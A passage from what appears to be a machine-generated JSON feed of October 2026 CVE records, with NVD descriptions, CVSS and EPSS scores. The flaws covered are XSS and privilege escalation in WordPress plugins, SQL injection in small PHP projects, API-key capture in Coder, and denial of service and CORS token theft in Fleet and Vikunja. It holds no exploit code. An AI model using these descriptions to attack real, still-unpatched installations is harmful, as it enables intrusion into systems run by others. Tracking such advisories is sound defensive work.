exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110981","cveId":"CVE-2026-110981","aliases":[],"kind":"vulnerability","title":"The WP Photo Album Plus WordPress plugin before 9.2.11.002 does not properly escape a category navigation value before reflecting it into a JavaScript event handler on its gallery...","summary":"The WP Photo Album Plus WordPress plugin before 9.2.11.002 does not properly escape a category navigation value before reflecting it into a JavaScript event handler on its gallery breadcrumb links, allowing unauthenticated attackers to inject arbitrary script that executes in the browser of anyone who follows a crafted gallery link and clicks the breadcrumb, including a logged-in administrator.","detail":"The WP Photo Album Plus WordPress plugin before 9.2.11.002 does not properly escape a category navigation value before reflecting it into a JavaScript event handler on its gallery breadcrumb links, allowing unauthenticated attackers to inject arbitrary script that executes in the browser of anyone who follows a crafted gallery link and clicks the breadcrumb, including a logged-in administrator.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T07:16:52.817Z","updatedAt":"2026-10-19T21:04:50.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110981","asOf":"2026-10-19T21:04:50.950Z"},"epss":{"probability":0.00164,"percentile":0.05521,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110981&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110981","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110981","type":"primary","publishedAt":"2026-10-18T07:16:52.817Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110981&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110981, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110031","cveId":"CVE-2026-110031","aliases":[],"kind":"vulnerability","title":"The Salon Booking System  WordPress plugin before 10.31.11 does not prevent users holding its custom salon staff role from assigning arbitrary capabilities to other accounts when...","summary":"The Salon Booking System  WordPress plugin before 10.31.11 does not prevent users holding its custom salon staff role from assigning arbitrary capabilities to other accounts when editing a customer, allowing them to escalate any account to administrator and take over the site.","detail":"The Salon Booking System  WordPress plugin before 10.31.11 does not prevent users holding its custom salon staff role from assigning arbitrary capabilities to other accounts when editing a customer, allowing them to escalate any account to administrator and take over the site.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T07:16:52.077Z","updatedAt":"2026-10-19T21:04:50.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110031","asOf":"2026-10-19T21:04:50.950Z"},"epss":{"probability":0.00249,"percentile":0.16101,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110031&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110031","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110031","type":"primary","publishedAt":"2026-10-18T07:16:52.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110031&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110031, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111873","cveId":"CVE-2026-111873","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This impacts the function MySQLDB::topicslist of the file...","summary":"A vulnerability was detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This impacts the function MySQLDB::topicslist of the file exammanger.php of the component AJAX Endpoint. The manipulation of the argument subject results in sql injection. The attack may be launched remotely. The exploit is now public and may be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This impacts the function MySQLDB::topicslist of the file exammanger.php of the component AJAX Endpoint. The manipulation of the argument subject results in sql injection. The attack may be launched remotely. The exploit is now public and may be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T05:16:27.920Z","updatedAt":"2026-10-22T03:16:31.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111873","asOf":"2026-10-22T03:16:31.740Z"},"epss":{"probability":0.00263,"percentile":0.17978,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111873&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111873","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111873","type":"primary","publishedAt":"2026-10-18T05:16:27.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111873&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111873, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111872","cveId":"CVE-2026-111872","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This affects the function...","summary":"A security vulnerability has been detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This affects the function MySQLDB::valid/MySQLDB::getresults/MySQLDB::noresults/MySQLDB::getExams/MySQLDB::latestExamID/MySQLDB::getreport of the file results.php/include/database.php. The manipulation of the argument id/user/topic leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A security vulnerability has been detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This affects the function MySQLDB::valid/MySQLDB::getresults/MySQLDB::noresults/MySQLDB::getExams/MySQLDB::latestExamID/MySQLDB::getreport of the file results.php/include/database.php. The manipulation of the argument id/user/topic leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T04:16:35.433Z","updatedAt":"2026-10-19T22:17:04.097Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111872","asOf":"2026-10-19T22:17:04.097Z"},"epss":{"probability":0.00329,"percentile":0.25849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111872&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111872","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111872","type":"primary","publishedAt":"2026-10-18T04:16:35.433Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111872&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111872, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111871","cveId":"CVE-2026-111871","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. The impacted element is an unknown function of the file...","summary":"A weakness has been identified in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. The impacted element is an unknown function of the file qsdb/usersdb/brandb/topicsdb/subjectsdb.php. Executing a manipulation of the argument query/qtype/sortname/sortorder can lead to sql injection. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A weakness has been identified in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. The impacted element is an unknown function of the file qsdb/usersdb/brandb/topicsdb/subjectsdb.php. Executing a manipulation of the argument query/qtype/sortname/sortorder can lead to sql injection. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T04:16:35.227Z","updatedAt":"2026-10-19T17:17:04.803Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111871","asOf":"2026-10-19T17:17:04.803Z"},"epss":{"probability":0.00263,"percentile":0.17973,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111871&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111871","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111871","type":"primary","publishedAt":"2026-10-18T04:16:35.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111871&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111871, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111866","cveId":"CVE-2026-111866","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in nemoTyrant manong up to 7c9e5228e133b9267ad3a415833bc9bb53193bb4. This impacts the function cache/del_cache/arr2sql of the file func.php.","summary":"A weakness has been identified in nemoTyrant manong up to 7c9e5228e133b9267ad3a415833bc9bb53193bb4. This impacts the function cache/del_cache/arr2sql of the file func.php. This manipulation causes sql injection. The attack may be initiated remotely. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The reported GitHub issue was closed with the reason \"completed\". However, it was not possible to determine the PR or commit which could have fixed this issue.","detail":"A weakness has been identified in nemoTyrant manong up to 7c9e5228e133b9267ad3a415833bc9bb53193bb4. This impacts the function cache/del_cache/arr2sql of the file func.php. This manipulation causes sql injection. The attack may be initiated remotely. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The reported GitHub issue was closed with the reason \"completed\". However, it was not possible to determine the PR or commit which could have fixed this issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T00:16:37.960Z","updatedAt":"2026-10-19T17:17:04.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111866","asOf":"2026-10-19T17:17:04.660Z"},"epss":{"probability":0.00254,"percentile":0.16765,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111866&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111866","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111866","type":"primary","publishedAt":"2026-10-18T00:16:37.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111866&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111866, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111927","cveId":"CVE-2026-111927","aliases":[],"kind":"vulnerability","title":"Coder before 2.29.20, 2.33.0 before 2.33.12, 2.34.0 before 2.34.8, and 2.35.0 before 2.35.4 contains an improper hostname validation flaw in GetWorkspaceProxyByHostname whose...","summary":"Coder before 2.29.20, 2.33.0 before 2.33.12, 2.34.0 before 2.34.8, and 2.35.0 before 2.35.4 contains an improper hostname validation flaw in GetWorkspaceProxyByHostname whose SIMILAR TO pattern performs a prefix match, so any domain that is a string prefix of a workspace-proxy access URL is trusted as a proxy. Attackers owning such a domain can lure an authenticated victim to a crafted /api/v2/applications/auth-redirect link, capture the redirected application_connect API key, and replay it to access the victim's workspace apps.","detail":"Coder before 2.29.20, 2.33.0 before 2.33.12, 2.34.0 before 2.34.8, and 2.35.0 before 2.35.4 contains an improper hostname validation flaw in GetWorkspaceProxyByHostname whose SIMILAR TO pattern performs a prefix match, so any domain that is a string prefix of a workspace-proxy access URL is trusted as a proxy. Attackers owning such a domain can lure an authenticated victim to a crafted /api/v2/applications/auth-redirect link, capture the redirected application_connect API key, and replay it to access the victim's workspace apps.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:35.527Z","updatedAt":"2026-10-21T22:16:48.390Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111927","asOf":"2026-10-21T22:16:48.390Z"},"epss":{"probability":0.00205,"percentile":0.10378,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111927&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111927","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111927","type":"primary","publishedAt":"2026-10-17T19:16:35.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111927&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111927, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111924","cveId":"CVE-2026-111924","aliases":[],"kind":"vulnerability","title":"Fleet before 4.83.0 contains a denial of service vulnerability that allows unauthenticated attackers to exhaust server memory by sending gzip-compressed request bodies.","summary":"Fleet before 4.83.0 contains a denial of service vulnerability that allows unauthenticated attackers to exhaust server memory by sending gzip-compressed request bodies. Attackers can send small, highly compressed requests with Content-Encoding: gzip to unauthenticated endpoints that expand during decoding, crashing the entire Fleet instance.","detail":"Fleet before 4.83.0 contains a denial of service vulnerability that allows unauthenticated attackers to exhaust server memory by sending gzip-compressed request bodies. Attackers can send small, highly compressed requests with Content-Encoding: gzip to unauthenticated endpoints that expand during decoding, crashing the entire Fleet instance.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:35.257Z","updatedAt":"2026-10-19T22:17:05.060Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111924","asOf":"2026-10-19T22:17:05.060Z"},"epss":{"probability":0.00359,"percentile":0.29336,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111924&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111924","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111924","type":"primary","publishedAt":"2026-10-17T19:16:35.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111924&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111924, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111923","cveId":"CVE-2026-111923","aliases":[],"kind":"vulnerability","title":"Fleet before 4.89.0 contains an unbounded recursion vulnerability in Apple MDM enrollment property list parsing that allows unauthenticated attackers to crash the server.","summary":"Fleet before 4.89.0 contains an unbounded recursion vulnerability in Apple MDM enrollment property list parsing that allows unauthenticated attackers to crash the server. Attackers can send a crafted binary plist payload of about 150 bytes to the enrollment endpoints, triggering exponential allocation or infinite recursion that exhausts CPU and memory.","detail":"Fleet before 4.89.0 contains an unbounded recursion vulnerability in Apple MDM enrollment property list parsing that allows unauthenticated attackers to crash the server. Attackers can send a crafted binary plist payload of about 150 bytes to the enrollment endpoints, triggering exponential allocation or infinite recursion that exhausts CPU and memory.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:35.117Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111923","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00359,"percentile":0.29336,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111923&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111923","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111923","type":"primary","publishedAt":"2026-10-17T19:16:35.117Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111923&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111923, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111922","cveId":"CVE-2026-111922","aliases":[],"kind":"vulnerability","title":"Vikunja from 2.2.0 before 2.7.0 contains a permissive CORS configuration that trusts every localhost and 127.0.0.1 port with credentials, even when service.publicurl is set.","summary":"Vikunja from 2.2.0 before 2.7.0 contains a permissive CORS configuration that trusts every localhost and 127.0.0.1 port with credentials, even when service.publicurl is set. Attackers controlling a page on any localhost port can send a credentialed request to the token refresh endpoint and read the returned bearer JWT to take over the logged-in user's account.","detail":"Vikunja from 2.2.0 before 2.7.0 contains a permissive CORS configuration that trusts every localhost and 127.0.0.1 port with credentials, even when service.publicurl is set. Attackers controlling a page on any localhost port can send a credentialed request to the token refresh endpoint and read the returned bearer JWT to take over the logged-in user's account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:34.957Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111922","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.0015,"percentile":0.04128,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111922&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111922","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111922","type":"primary","publishedAt":"2026-10-17T19:16:34.957Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, 